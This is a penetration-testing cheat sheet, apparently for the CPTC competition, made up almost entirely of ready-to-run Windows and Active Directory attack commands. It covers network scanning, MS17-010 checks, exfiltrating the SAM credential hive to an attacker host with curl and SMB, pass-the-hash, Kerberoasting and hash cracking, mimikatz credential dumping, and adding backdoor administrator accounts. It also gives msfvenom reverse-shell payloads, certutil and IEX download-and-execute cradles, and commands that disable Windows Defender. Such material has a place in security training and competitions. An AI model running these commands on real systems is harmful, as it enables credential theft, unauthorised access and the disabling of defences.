CPTC Cheatsheet

Nmap

pwndoc save: `-oX nmaps.xml`

Network sweep:

```
sudo nmap -v -sn 10.0.0.0/24 -oG nmaps.txt
```

Individual:

```
sudo nmap -Pn -n {ips} -sC -sV -p- --open -oG inds.txt
sudo nmap -Pn -n {ips} -sC -sV -p 53, 139, 445 --open -oG inds.txt
```

smb:

```
nmap {ip} --script=smb-vuln*
nmap {ip} --script=smb-vuln-ms17-010.nse
auxiliary/scanner/smb/smb_ms17_010
```

```
List drives: smbclient -L //{ip}/

Log into drive: smbclient //{ip}/{drive}

AD: smbclient -L //ip/ -U {domain}/{user} --password=''
```

metasploit:

```
background
sessions -i {session num}
```

meterpreter:

```
hashdump
shell
```

Transfer files:

```
python3 -m http.server 80
impacket-smbserver temp . -smb2support
Target:
net use \\{my_ip}\temp
copy {full path of file} \\{my_ip}\temp

Alternative:
**Kali: python3 -m uploadserver 80**

**Target (cmd): curl -X POST http://{kali_ip:port}/upload -F “files=@SAM”**

**Or  curl -X POST http://{kali_ip}/upload -F
“files=@C:\windows.old\windows\system32\SAM”**
```

zerologon:
run python test script
`python3 test.py DC01 {ip}`

Pass-the-hash

```
impact-psexec -hashes LMHash:NtHash user@ip
impacket-wmiexec -hashes :{hash} Administrator@ip
```

Add Users

```
Powershell:
Add-localgroupmember -Group “Remote Desktop Users” -Member “hi”

$secure = ConvertTo-SecureString "password123!" -AsPlaintext -Force;

New-LocalUser -Name "test" -Password $secure -FullName "test"

Invoke-Command -ComputerName WEB02 -ScriptBlock {NET LOCALGROUP "Remote
Desktop Users" /ADD "test"}

Add-LocalGroupMember -Group Administrators -Member "test" -Verbose

cmd:
```

```
net localgroup “Remote Desktop Users” {user} /add
net user test password123! /add && net localgroup administrators test /add
```

Roasting

```
AS-REQ:
impacket-GetNPUsers -dc-ip {dc ip} -request -outputfile hashes.asreproast
{domain/user}

Hashcat:
hashat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --force

Kerberoast:
impacket-GetUserSPNs -request -dc-ip {dc ip} -outputfile hashes.kerberoast
{domain/user}

Hashcat:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force
```

rdp/winrm

```
xfreerdp /v:{ip} /u:Administrator /p:{password} /d:{domain} /cert-ignore

Evil-winrm -i {ip} -u {user} -H ‘{NT hash}’

Evil-WinRM -i {target_ip} -u {username} -p {password}
```

mimikatz

```
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
```

Windows

```
-Username and hostname: **whoami**

- Check privileges: **whoami /priv**
```

- Group memberships of the current user: **whoami /groups**

- Existing users and groups: **net user OR Get-LocalUser (powershell), net localgroup OR Get-LocalGroup(powershell)**

Get-LocalGroupMember “{group}”

net user {user}

- Operating system, version and architecture: **systeminfo -> cannot run 64-bit app on 32-bit system**

- Network information: **ipconfig /all**

- Check routing table: **route print**
- Running ports: **netstat**
- Active network connections: **netstat -ano**

- Installed applications: **Program Files directories in C:\ & Downloads**

- 32-bit: **Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname**
- 64-bit: **Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname**

- Running processes: **Get-Process**

- List process path: **Get-Process | select-object Path**
- Search for password manager databases: **Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue**
- **xampp: Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue**
- Check history file of PSReadline/transcript: **(Get-PSReadlineOption).HistorySavePath**

PowerUp.ps1: Invoke-AllChecks

Switch to a different user w/ gui access & w/out rdp/winRM:

runas /user:{username} cmd (or powershell)

Alternates: Log on as a batch job -> schedule a task to execute a program as this user

Active session -> use PsExec from Sysinternals

Can use Invoke-RunasCs.ps1 to run a command as another user:

Import-module Invoke-RunasCs.ps1

Invoke-RunasCs {username} {password} “cmd /c whoami”

Building rev shells

See all payloads: **msfvenom -l paylaods**

See windows payloads: **msfvenom -l payloads --platform windows --arch x64**

Load payloads: **msfvenom -p {path} LHOST={my_ip} LPORT={port} -f {file extension/output format} -o {outfile}**

Netcat: nc -lvp {port}

Metasploit: **msfdb run -> use exploit/multi/handler->set payload {path} ->set LHOST tun0 ->set LPORT->exploit -j**

*Staged payloads indicated by /

Staged (small but not AV-proof & **nc doesn’t know how to handle it!! can only use Metasploit multi/handler**): windows/x64/shell/reverse_tcp

Notn-staged (big, more stable): windows/x64/shell_reverse_tcp

```
Can try http revers shell too

**Msfvenom -p windows/x64/shell_reverse_tcp LHOST={kali ip} LPORT=4444 -f exe -o rev.exe**

msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o rev.exe
```

CMD

```
Get file: **certutil -urlcache -f http://{my ip}/{file} {full_path_destination}**

List hidden files: **dir /a**

Execute a file: name of the file

Search for a file: **dir "/{file}*" /s**

Search for an exact file: **dir "SAM~" /s**

Check listening ports: **nestat -ano**



Add user to group: **net localgroup "Remote Desktop Users" {user} /add**

***powershell works better, this often does not work**



**Open up firewall ports: netsh advfirewall firewall add rule name="TCP Port 8000" dir=in action=allow protocol=TCP localport=8000**
```

Powershell

```
**Download file: powershell "IEX(New-Object Net.WebClient).downloadString('http:{url}')"**
```

Search file: Get-ChildItem -Path C:\ -Include *.{extension} -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\ -Include “*hello*” -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

Check Windows defender:

Get-MpComputerStatus

Disable Windows defender:

Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true

Set up rdp:

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

Enable-NetFirewallRule -DisplayGroup "Remote Desktop"